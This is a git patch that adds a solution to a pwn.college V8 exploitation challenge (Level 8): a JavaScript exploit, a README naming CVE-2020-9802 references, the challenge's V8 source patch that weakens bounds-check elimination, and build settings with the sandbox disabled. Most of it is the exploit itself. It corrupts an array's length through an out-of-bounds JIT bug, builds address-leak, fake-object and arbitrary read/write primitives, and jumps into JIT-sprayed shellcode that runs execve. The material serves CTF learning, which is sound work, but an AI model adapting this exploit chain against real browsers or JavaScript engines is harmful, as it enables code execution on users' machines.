From cce85999cb116178baa712bfc890237d9a6eb66a Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Tue, 17 Sep 2024 10:31:33 +0800 Subject: [PATCH] Level 8 of PwnCollegeV8Exploitation --- .../Level8/Exploit.js | 135 ++++++++++++++++++ .../PwnCollegeV8Exploitation/Level8/README.md | 21 +++ .../PwnCollegeV8Exploitation/Level8/REVISION | 1 + .../PwnCollegeV8Exploitation/Level8/args.gn | 10 ++ .../PwnCollegeV8Exploitation/Level8/patch | 56 ++++++++ 5 files changed, 223 insertions(+) create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level8/Exploit.js create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level8/README.md create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level8/REVISION create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level8/args.gn create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level8/patch diff --git a/JavaScript/PwnCollegeV8Exploitation/Level8/Exploit.js b/JavaScript/PwnCollegeV8Exploitation/Level8/Exploit.js new file mode 100644 index 0000000..caf4b9a --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level8/Exploit.js @@ -0,0 +1,135 @@ +let ab = new ArrayBuffer(8); +let f64a = new Float64Array(ab, 0, 1); +let i32a = new Uint32Array(ab, 0, 2); +let si32a = new Int32Array(ab, 0, 2); +let bi64a = new BigUint64Array(ab, 0, 1); + +function c2f(low, high) { // combined (two 4 bytes) word to float + i32a[0] = low; + i32a[1] = high; + return f64a[0]; +} + +function b2f(v) { // bigint to float + bi64a[0] = v; + return f64a[0]; +} + +function f2b(v) { // float to bigint + f64a[0] = v; + return bi64a[0]; +} + +function unptr(v) { + return v & 0xfffffffe; +} + +function ptr(v) { + return v | 1; +} + +function shellcode() { + // JIT spray machine code form of `execve("catflag", NULL, NULL)` + return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; +} +for (let i = 0; i < 1000; i++) shellcode(); // Trigger MAGLEV compilation, too large loop count will trigger TURBOFAN + +function opt(i) { + let fixed_size_arr = [1.1]; // Range for `fixed_size_arr.length`: [1, 1] + let corrupt_arr = [2.30234590962020889586281057477E-320]; + let double_arr = [1.09366371363418335018925267989E-319]; + let obj_arr = [corrupt_arr]; + i = i & 0x0fff_ffff; // Range for `i`: [0, 0x0fff_ffff] + f64a[0] = fixed_size_arr[i]; // `CheckBounds` Eliminated + i32a[1] = 0x20_0000; + fixed_size_arr[i] = f64a[0]; // `CheckBounds` Eliminated + return [fixed_size_arr, corrupt_arr, double_arr, obj_arr]; +} + +for (let i = 0; i < 1000000; i++) + opt(0); // Trigger TURBOFAN compilation + +// %DebugPrint(opt); + +let [_, corrupt_arr, double_arr, obj_arr] = opt(6); + +if (corrupt_arr.length !== 0x10_0000) { + throw new Error("corrupt_arr.length corrupt failed!"); +} + +// %DebugPrint(corrupt_arr); +// %DebugPrint(double_arr); +// %DebugPrint(obj_arr); +// %SystemBreak(); + +const corrupt_arr_0_to_obj_arr_0_offset = 8; +const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 0; + +function GetAddressOf(obj) { + obj_arr[0] = obj; + f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset]; + return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]); +} + +function GetFakeObject(addr) { + f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset]; + let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]; + i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr); + corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0]; + let faked_obj = obj_arr[0]; + i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr; + corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0]; + return faked_obj; +} + +const corrupt_arr_0_to_double_arr_element_offset = 6; + +// QWORD Aligned +function ArbRead64(cage_addr) { // int32 + if (cage_addr & 0x7) throw new Error("Must QWORD Aligned"); + corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002); + let result = f2b(double_arr[0]); + console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`); + return result; +} + +// QWORD Aligned +function ArbWrite64(cage_addr, value) { // int32, bigint + if (cage_addr & 0x7) throw new Error("Must QWORD Aligned"); + corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002); + let written = b2f(value); + double_arr[0] = written; + console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`); +} + +// DWORD Aligned +function ArbRead32(cage_addr) { // int32 -> int32 + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + bi64a[0] = ArbRead64(cage_addr & 0xfffffff8); + let result = i32a[(cage_addr & 0x4) >> 2]; + console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`); + return result; +} + +// DWORD Aligned +function ArbWrite32(cage_addr, value) { // int32, int32 -> void + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8; + bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr); + i32a[(cage_addr & 0x4) >> 2] = value; + ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]); + console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`); +} + +let shellcode_addr = GetAddressOf(shellcode); +console.log("Address of shellcode: " + shellcode_addr.toString(16)); +// %DebugPrint(shellcode); +// %SystemBreak(); +let code_addr = unptr(ArbRead32(shellcode_addr + 0xC)); +console.log("Address of code: " + code_addr.toString(16)); +let instruction_start_addr = code_addr + 0x14; +let instruction_start = ArbRead32(instruction_start_addr); +console.log("instruction_start: " + instruction_start.toString(16)); +ArbWrite32(instruction_start_addr, instruction_start + 0x6B); + +shellcode(); \ No newline at end of file diff --git a/JavaScript/PwnCollegeV8Exploitation/Level8/README.md b/JavaScript/PwnCollegeV8Exploitation/Level8/README.md new file mode 100644 index 0000000..1d7a4be --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level8/README.md @@ -0,0 +1,21 @@ +# Level 8 + +## Problem + +The elimination of `CheckBounds` node had been changed to: +- Assume `CheckBounds` node has two input operand node `index` and `length`. + - Each of them have a type labeled with their range `[min, max]`. +- When `index.min >= 0.0 && index.min < length.min`, the `CheckBounds` will be eliminated. + +## Key Knowledge +- Bound Check Elimination based Out of Bound Access + - CVE-2020-9802 + - [Exploitation of CVE-2020-9802: a JavaScriptCore JIT Bug](https://shxdow.me/cve-2020-9802/) + - [JITSploitation I: A JIT Bug](https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html) + - [CVE-2020-9802 JSC CSE漏洞分析](https://www.anquanke.com/post/id/245946) + - [CVE-2020-9802-WebKit JIT优化漏洞分析](https://xz.aliyun.com/t/8913) + - Bound Check Elimination related Simplified Lowering Phase in V8 + - [浅析 V8-turboFan](https://kiprey.github.io/2021/01/v8-turboFan/#4-SimplifiedLoweringPhase) + - Use this technique to corrupt array's length. +- Make JIT engine consider an unspeculated parameter as an integer + - Use bitwise operations diff --git a/JavaScript/PwnCollegeV8Exploitation/Level8/REVISION b/JavaScript/PwnCollegeV8Exploitation/Level8/REVISION new file mode 100644 index 0000000..3975763 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level8/REVISION @@ -0,0 +1 @@ +5a2307d0f2c5b650c6858e2b9b57b335a59946ff \ No newline at end of file diff --git a/JavaScript/PwnCollegeV8Exploitation/Level8/args.gn b/JavaScript/PwnCollegeV8Exploitation/Level8/args.gn new file mode 100644 index 0000000..31460dd --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level8/args.gn @@ -0,0 +1,10 @@ +is_component_build = false +is_debug = false +target_cpu = "x64" +v8_enable_sandbox = false +v8_enable_backtrace = true +v8_enable_disassembler = true +v8_enable_object_print = true +dcheck_always_on = false +use_goma = false +v8_code_pointer_sandboxing = false diff --git a/JavaScript/PwnCollegeV8Exploitation/Level8/patch b/JavaScript/PwnCollegeV8Exploitation/Level8/patch new file mode 100644 index 0000000..616082c --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level8/patch @@ -0,0 +1,56 @@ +diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc +index 02a53ebcc21..006351a3f08 100644 +--- a/src/compiler/simplified-lowering.cc ++++ b/src/compiler/simplified-lowering.cc +@@ -1888,11 +1888,11 @@ class RepresentationSelector { + if (lower()) { + if (index_type.IsNone() || length_type.IsNone() || + (index_type.Min() >= 0.0 && +- index_type.Max() < length_type.Min())) { ++ index_type.Min() < length_type.Min())) { + // The bounds check is redundant if we already know that + // the index is within the bounds of [0.0, length[. + // TODO(neis): Move this into TypedOptimization? +- if (v8_flags.turbo_typer_hardening) { ++ if (false /*v8_flags.turbo_typer_hardening*/) { + new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds; + } else { + DeferReplacement(node, NodeProperties::GetValueInput(node, 0)); +diff --git a/src/d8/d8.cc b/src/d8/d8.cc +index facf0d86d79..382c015bc48 100644 +--- a/src/d8/d8.cc ++++ b/src/d8/d8.cc +@@ -3364,7 +3364,7 @@ Local Shell::CreateNodeTemplates( + + Local Shell::CreateGlobalTemplate(Isolate* isolate) { + Local global_template = ObjectTemplate::New(isolate); +- global_template->Set(Symbol::GetToStringTag(isolate), ++/* global_template->Set(Symbol::GetToStringTag(isolate), + String::NewFromUtf8Literal(isolate, "global")); + global_template->Set(isolate, "version", + FunctionTemplate::New(isolate, Version)); +@@ -3385,13 +3385,13 @@ Local Shell::CreateGlobalTemplate(Isolate* isolate) { + global_template->Set(isolate, "readline", + FunctionTemplate::New(isolate, ReadLine)); + global_template->Set(isolate, "load", +- FunctionTemplate::New(isolate, ExecuteFile)); ++ FunctionTemplate::New(isolate, ExecuteFile));*/ + global_template->Set(isolate, "setTimeout", + FunctionTemplate::New(isolate, SetTimeout)); + // Some Emscripten-generated code tries to call 'quit', which in turn would + // call C's exit(). This would lead to memory leaks, because there is no way + // we can terminate cleanly then, so we need a way to hide 'quit'. +- if (!options.omit_quit) { ++/* if (!options.omit_quit) { + global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); + } + global_template->Set(isolate, "testRunner", +@@ -3410,7 +3410,7 @@ Local Shell::CreateGlobalTemplate(Isolate* isolate) { + if (i::v8_flags.expose_async_hooks) { + global_template->Set(isolate, "async_hooks", + Shell::CreateAsyncHookTemplate(isolate)); +- } ++ }*/ + + return global_template; + }